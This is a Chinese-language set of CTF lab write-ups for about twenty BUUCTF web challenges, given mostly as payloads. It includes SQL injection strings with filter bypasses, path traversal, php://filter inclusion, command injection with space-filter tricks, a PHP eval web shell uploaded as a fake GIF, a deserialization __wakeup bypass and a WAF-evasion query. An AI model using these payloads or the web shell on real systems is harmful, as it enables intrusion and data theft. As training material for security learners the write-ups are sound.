# [极客大挑战 2019] EasySQL
# 考点:sql 注入
username=1' or 1=1# | |
password=1 |
# [HCTF 2018]WarmUp
# 考点:php 代码审计
f12 发现 source.php

查看 source.php

查看 hint.php 告诉我们 flag 在 ffffllllaaaagggg 里
代码审计
要判断是否不为空且在白名单中,并且会取出?号前的的字符串来进行判断
那么我们可以构造
?file=source.php?ffffllllaaaagggg |
可以发现他是 true 的,但是没有回显,可以猜测是在上级目录
?file=source.php?../ffffllllaaaagggg |
这样好像不行
要在?后加一个 /
添加斜杠起作用主要是因为将前面的 “hint.php?” 变成了一个目录
payload
?file=source.php?/../../../../ffffllllaaaagggg |
# [极客大挑战 2019] Havefun
f12
发现注释代码

试试传入参数 dog
得到 flag
# [ACTF2020 新生赛] Include
# 考点:文件包含
?file=php://filter/convert.base64-encode/resource=flag.php |
# [强网杯 2019] 随便注
# 考点:sql 注入
输入 1 2 到 3 报错,说明字段数为 2
尝试 union 注入,过滤了 select
堆叠注入
通过;号注入多条 SQL 语句
爆数据库
0'; show databases; # |
爆表
0'; show tables; # |
爆字段
0'; show columns from `1919810931114514 `; # |
最后
1'; handler `1919810931114514` open as `a`; handler `a` read next;# |
handler
HANDLER tbl_name OPEN [ [AS] alias] | |
# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览 | |
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) | |
[ WHERE where_condition ] [LIMIT ... ] | |
# 2、通过索引查看表 | |
# FIRST: 获取第一行(索引最小的一行) | |
# NEXT: 获取下一行 | |
# PREV: 获取上一行 | |
# LAST: 获取最后一行(索引最大的一行) | |
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } | |
[ WHERE where_condition ] [LIMIT ... ] | |
# 3、不通过索引查看表 | |
# READ FIRST: 获取句柄的第一行 | |
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行) | |
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果 | |
HANDLER tbl_name READ { FIRST | NEXT } | |
[ WHERE where_condition ] [LIMIT ... ] | |
HANDLER tbl_name CLOSE |
# [ACTF2020 新生赛] Exec
# 考点:RCE
这道题就是利用管道符来做
可以直接在 ping 输入框中输入 1;cat /fag; 也可以 1|cat /flag 1&cat /flag
当然如果使用 || 必须需要前面是一个假的,就是前面条件为假才执行后面的否则只执行前面的 所以可以用 a||cat /flag
以上方法都可以得到结果
1、|(就是按位或),直接执行 | 后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),& 前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、; 前后都执行,无论前面真假,同 &,(linux 也有)
127.0.0.1 | ls | |
127.0.0.1 | ls ../ | |
127.0.0.1 | ls ../../ | |
127.0.0.1 | ls ../../../ | |
127.0.0.1 | cat ../../../flag |
# [SUCTF 2019]EasySQL
# 考点:sql 注入
用堆叠注入
爆数据库
0'; show databases; # |
爆表
0'; show tables; # |
爆字段
0'; show columns from `Flag `; # |
显示 nonono
用 fuzz 跑一下
handler like LiKe sleep SLEEp delete or oR insert insERT INSERT INFORMATION xor AND ANd CREATE " union UNIon UNION " & && oorr anandd IF sleep LIKE infromation_schema OR ORDER ORD UNION UPDATE WHERE AND prepare update delete drop CREATE DELETE DROP floor rand() information_schema.tables ORD extractvalue order ORDER OUTFILE updatexml format ord UPDATE WHERE for BEFORE REGEXP RLIKE SEPARATOR XOR CURSOR FLOOR from |
禁了这么多
大佬猜测查询代码为
select $_post['query']||flag from Flag
|| 的特点是如果前面为真,后面就不会执行,那么我们传入 *,1 之后语句就会变成 select *,1 from Flag,而 1 会在表添加一列 1,所以得到 flag
# [极客大挑战 2019] Secret File
查看源代码,发现 archive.php
访问,在查看源代码 发现 action.php
访问发现 直接到了 end.php 跳转太快了
那么抓包 得到 secr3t.php
文件包含
payload
?file=php://filter/convert.base64-encode/resource=flag.php |
base64 解密
# [GXYCTF2019]Ping Ping Ping
# 考点:RCE
首先 ls 查看
发现过滤了空格,|
用;代替
1;ls |
得到 flag.php 和 index.php
查看 index
因为空格被过滤了
用 $IFS$1 代替
1;cat$IFS$1index.php |
+++ 空格代替 linux
{cat,flag.txt} | |
cat${IFS}flag.txt | |
cat$IFS$9flag.txt | |
cat$IFS$1flag.txt | |
cat<flag.txt | |
%09替换 | |
cat<>flag.txt | |
kg=$'\x20flag.txt'&&cat$kg | |
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过) |
+++
发现 flag 也被过滤了
# 方法一:反引号
在 linux 系统中,反引号是作为内联执行,输出查询结果的内容。比如用 ls 查询出 index.php。那么
ls就代表了 index.php 这个文件。那么我们就可以使用 cat 命令查看 index.php 的内容,而这一道题就可以使用 cat$IFS$1ls这个命令来输出 flag 了。
cat$IFS$1`ls` |
# 方法二:变量拼接
让变量 a=ag,让变量 b=fl
a=ag;b=fl;cat$IFS$9$b$a.php |
# [极客大挑战 2019] LoveSQL
# 考点:sql 注入
用万能密码登录
得到了密码
没啥用
尝试注入
- 测试多少列
1' order by 3# |
- 爆库
=1' union select 1,database(),3# |
- 爆表
=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# |
- 爆字段
=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'# |
- 爆字段值
=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23 |
# [极客大挑战 2019] Knife
蚁剑链接
密码 Syc
根目录里找到 flag
# [极客大挑战 2019] Http
查看源代码
发现 secre.php
访问
得到
It doesn't come from 'https://Sycsecret.buuoj.cn'
抓包 在请求头中增加 Referer 字段即可
Referer: https://Sycsecret.buuoj.cn |
得到
Please use "Syclover" browser |
用 Syclover 浏览器
那么就要改 User-Agent
User-Agent: Syclover |
得到
No!!! you can only read this locally!!! |
只能本地访问
添加 XFF 头
X-Forwarded-For: 127.0.0.1 |
PS: 请求头详解
注意放的位置要在 connection 上面
# [极客大挑战 2019] Upload
# 考点:文件上传
尝试上传
报错 不能包含 <?
换一个
<script language='php'>eval($_POST['cmd']);</script> |
报错不是真的图片
加头
GIF98a
尝试.phtml
上传成功,蚁剑链接得到 flag
1.phtml | |
GIF98a | |
<script language='php'>eval($_POST['cmd']);</script> |
# [ACTF2020 新生赛] Upload
# 考点:文件上传
也尝试上传 1.phtml,成功了
蚁剑链接
# [极客大挑战 2019] BabySQL
# 考点:sql 注入
首先
1' or 1=1# |
报错
过滤了 or
用双写绕过
1' oorr 1=1# |
成功了
都用双写绕过
- 测试多少列
1' oorrder bbyy 4# |
- 爆库
1' ununionion selselectect 1,database(),3# |
- 爆表
1' ununionion selselectect 1,group_concat(table_name),3 frofromm infoorrmation_schema.tables whwhereere table_schema=database()# |
- 爆字段
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema=database() anandd table_name='b4bsql'# |
- 爆字段值
1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql# |
# [极客大挑战 2019] PHP
# 考点:php 反序列化
打开提示备份
dirsearch 扫一下目录
没扫出来为什么
看大佬 wp 是 www.zip
得到 index.php
<?php | |
include 'class.php'; | |
$select = $_GET['select']; | |
$res=unserialize(@$select); | |
?> |
unserrialize 反序列化 将字符串转换成变量或对象的过程
常用的内置方法:
_construct ():创建对象时初始化,当一个对象创建时被调用
_wakeup () 使用 unserialize 时触发
_sleep () 使用 serialize 时触发
_destruction ():结束时销毁对象,当一个对象销毁时被调用
class.php
<?php | |
include 'flag.php'; | |
error_reporting(0); | |
class Name{ | |
private $username = 'nonono'; | |
private $password = 'yesyes'; | |
public function __construct($username,$password){ | |
$this->username = $username; | |
$this->password = $password; | |
} | |
function __wakeup(){ | |
$this->username = 'guest'; | |
} | |
function __destruct(){ | |
if ($this->password != 100) { | |
echo "</br>NO!!!hacker!!!</br>"; | |
echo "You name is: "; | |
echo $this->username;echo "</br>"; | |
echo "You password is: "; | |
echo $this->password;echo "</br>"; | |
die(); | |
} | |
if ($this->username === 'admin') { | |
global $flag; | |
echo $flag; | |
}else{ | |
echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; | |
die(); | |
} | |
} | |
} | |
?> |
当 username=admin 时得到 flag
将 name 类序列化结果输出
<?php | |
class Name{ | |
private $username = 'nonono'; | |
private $password = 'yesyes'; | |
public function __construct($username,$password){ | |
$this->username = $username; | |
$this->password = $password; | |
} | |
} | |
$a = new Name('admin',100); | |
$b = serialize($a); | |
echo $b; | |
?> |
结果为
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
绕过_wakeup 方法
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup () 函数的执行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} | |
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
输出结果中 Name 和 username,Name 和 password 之间是有不可见字符的,因为 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上 ascii 为 0 的字符(不可见字符)
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} |
# [RoarCTF 2019]Easy Calc
查看源码
<script> | |
$('#calc').submit(function(){ | |
$.ajax({ | |
url:"calc.php?num="+encodeURIComponent($("#content").val()), | |
type:'GET', | |
success:function(data){ | |
$("#result").html(`<div class="alert alert-success"> | |
<strong>答案:</strong>${data} | |
</div>`); | |
}, | |
error:function(){ | |
alert("这啥?算不来!"); | |
} | |
}) | |
return false; | |
}) | |
</script> |
有 waf
访问 calc.php
num 只能输入数字
PHP 字符串解析特性绕过 WAF
输入时发现 num 只能输入数字,输入字符无法解析。
PHP 需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)现在的变量叫 “num”,而不是 “num”。但 php 在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。
scandir () 函数:返回指定目录中的文件和目录的数组
var_dump ():输出变量的相关信息
http://node4.buuoj.cn:27280/calc.php?%20num=1;var_dump(scandir(chr(47))) |
找到了 f1agg
http://node4.buuoj.cn:27280/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
# [ACTF2020 新生赛] BackupFile
扫目录
不知道为什么还是没扫出来。。。
看别人的 wp
index.php.bak
得到 php 代码
<?php | |
include_once "flag.php"; | |
if(isset($_GET['key'])) { | |
$key = $_GET['key']; | |
if(!is_numeric($key)) { | |
exit("Just num!"); | |
} | |
$key = intval($key); | |
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; | |
if($key == $str) { | |
echo $flag; | |
} | |
} | |
else { | |
echo "Try to find out source file!"; | |
} |
弱比较漏洞
因为字符串在和数字比较的时候会将字符串转化为数字
payload:
key=123 |
